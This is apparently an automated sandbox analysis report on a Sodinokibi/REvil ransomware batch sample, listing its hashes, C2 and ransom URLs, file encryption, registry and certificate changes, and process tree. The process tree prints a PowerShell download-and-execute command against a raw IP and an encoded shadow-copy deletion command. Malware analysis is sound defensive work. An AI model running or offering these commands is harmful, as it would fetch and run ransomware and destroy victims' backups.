Analysis
-
max time kernel
149s -
max time network
144s -
platform
windows7_x64 -
resource
win7v200213 -
submitted
17-02-2020 15:10
Static task
static1
Behavioral task
behavioral1
Sample
QtxPGbas.bat
Resource
win7v200213
Behavioral task
behavioral2
Sample
QtxPGbas.bat
Resource
win10v191014
General
-
Target
QtxPGbas.bat
-
Size
189B
-
MD5
b896f6ff4553af50764dbf2c947a05bb
-
SHA1
530bc65bb8cd23bf06865ddb93164f0c6348f578
-
SHA256
f9366f629ed77ac92ea0a86a9f063f9a33f6cb37c03b8c094f4d74515b930412
-
SHA512
32377669fab2cc36cd228ef46fc33f15d36d4ef2abdd7c3c93b253d8b7a520c697cc67b80c5bd8762d1b6bac18764adb97edeca3a08e7cd24316a84384405a85
Malware Config
Extracted
http://185.103.242.78/pastes/QtxPGbas
Extracted
C:\5cxg6z6j82-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A71438A36D561A11
http://decryptor.cc/A71438A36D561A11
Signatures
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-46902564-1047598254-1287184720-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6807cp2d2y0.bmp" powershell.exe -
Processes:
powershell.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d090000000100000042000000304006082b0601050507030406082b0601050507030106082b0601050507030206082b06010505070308060a2b0601040182370a0304060a2b0601040182370a030c6200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd67707390b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b8030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41d00000001000000100000007dc30bc974695560a2f0090a6545556c1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39620000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f5300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c00b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f0074002000470032000000090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1556200000001000000200000004348a0e9444c78cb265e058d5e8944b4d84f9662bd26db257f8934a443c701615300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f53000000010000006200000030603020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c009000000010000003e000000303c06082b0601050507030106082b0601050507030406082b0601050507030206082b0601050507030306082b0601050507030906082b060105050703080b0000000100000030000000440069006700690043006500720074002000420061006c00740069006d006f0072006500200052006f006f007400000062000000010000002000000016af57a9f676b0ab126095aa5ebadef22ab31119d644ac95cd4b93dbf3f26aeb140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 2008 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 1984 wrote to memory of 2008 1984 cmd.exe powershell.exe PID 2008 wrote to memory of 852 2008 powershell.exe powershell.exe PID 2008 wrote to memory of 852 2008 powershell.exe powershell.exe PID 2008 wrote to memory of 852 2008 powershell.exe powershell.exe PID 2008 wrote to memory of 852 2008 powershell.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid process 2008 powershell.exe 2008 powershell.exe 2008 powershell.exe 852 powershell.exe 852 powershell.exe -
Blacklisted process makes network request 9 IoCs
Processes:
powershell.exeflow pid process 1 2008 powershell.exe 6 2008 powershell.exe 8 2008 powershell.exe 10 2008 powershell.exe 12 2008 powershell.exe 14 2008 powershell.exe 16 2008 powershell.exe 17 2008 powershell.exe 19 2008 powershell.exe -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Drops file in Program Files directory 37 IoCs
Processes:
powershell.exedescription ioc process File created \??\c:\program files\5cxg6z6j82-readme.txt powershell.exe File opened for modification \??\c:\program files\FindSave.aif powershell.exe File renamed C:\Program Files\ProtectSkip.ram => \??\c:\program files\ProtectSkip.ram.5cxg6z6j82 powershell.exe File renamed C:\Program Files\WaitCheckpoint.i64 => \??\c:\program files\WaitCheckpoint.i64.5cxg6z6j82 powershell.exe File renamed C:\Program Files\FindSave.aif => \??\c:\program files\FindSave.aif.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\MergeRegister.pdf powershell.exe File opened for modification \??\c:\program files\MountPublish.wav powershell.exe File opened for modification \??\c:\program files\WatchRepair.aifc powershell.exe File created \??\c:\program files (x86)\5cxg6z6j82-readme.txt powershell.exe File renamed C:\Program Files\RegisterEnable.png => \??\c:\program files\RegisterEnable.png.5cxg6z6j82 powershell.exe File renamed C:\Program Files\MountPublish.wav => \??\c:\program files\MountPublish.wav.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\ConvertApprove.iso powershell.exe File renamed C:\Program Files\FormatConnect.mhtml => \??\c:\program files\FormatConnect.mhtml.5cxg6z6j82 powershell.exe File renamed C:\Program Files\LockFormat.asp => \??\c:\program files\LockFormat.asp.5cxg6z6j82 powershell.exe File renamed C:\Program Files\MergeRegister.pdf => \??\c:\program files\MergeRegister.pdf.5cxg6z6j82 powershell.exe File renamed C:\Program Files\WatchRepair.aifc => \??\c:\program files\WatchRepair.aifc.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\FormatConnect.mhtml powershell.exe File renamed C:\Program Files\ConvertApprove.iso => \??\c:\program files\ConvertApprove.iso.5cxg6z6j82 powershell.exe File created \??\c:\program files\microsoft sql server compact edition\5cxg6z6j82-readme.txt powershell.exe File opened for modification \??\c:\program files\RegisterEnable.png powershell.exe File opened for modification \??\c:\program files\UnprotectShow.3gp powershell.exe File renamed C:\Program Files\UnblockExport.xltx => \??\c:\program files\UnblockExport.xltx.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\WaitCheckpoint.i64 powershell.exe File opened for modification \??\c:\program files\UnblockExport.xltx powershell.exe File renamed C:\Program Files\UnprotectShow.3gp => \??\c:\program files\UnprotectShow.3gp.5cxg6z6j82 powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\5cxg6z6j82-readme.txt powershell.exe File opened for modification \??\c:\program files\AddStop.mpeg powershell.exe File opened for modification \??\c:\program files\CompareDeny.snd powershell.exe File opened for modification \??\c:\program files\InitializeHide.wma powershell.exe File renamed C:\Program Files\ResolveApprove.otf => \??\c:\program files\ResolveApprove.otf.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\ProtectSkip.ram powershell.exe File opened for modification \??\c:\program files\ResolveApprove.otf powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\desktop\5cxg6z6j82-readme.txt powershell.exe File renamed C:\Program Files\CompareDeny.snd => \??\c:\program files\CompareDeny.snd.5cxg6z6j82 powershell.exe File renamed C:\Program Files\AddStop.mpeg => \??\c:\program files\AddStop.mpeg.5cxg6z6j82 powershell.exe File opened for modification \??\c:\program files\LockFormat.asp powershell.exe File renamed C:\Program Files\InitializeHide.wma => \??\c:\program files\InitializeHide.wma.5cxg6z6j82 powershell.exe -
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 852 powershell.exe Token: SeBackupPrivilege 1700 vssvc.exe Token: SeRestorePrivilege 1700 vssvc.exe Token: SeAuditPrivilege 1700 vssvc.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe -
Discovering connected drives 3 TTPs 7 IoCs
Processes:
cmd.exepowershell.exepowershell.exedescription ioc process File opened (read-only) \??\C: cmd.exe File opened (read-only) \??\C: powershell.exe File opened (read-only) \??\A: powershell.exe File opened (read-only) \??\B: powershell.exe File opened (read-only) \??\E: powershell.exe File opened (read-only) \??\F: powershell.exe File opened (read-only) \??\C: powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\QtxPGbas.bat"1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1984 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/QtxPGbas');Invoke-HGCAMJ;Start-Sleep -s 10000"2⤵
- Sets desktop wallpaper using registry
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Discovering connected drives
PID:2008 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Discovering connected drives
PID:852
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1700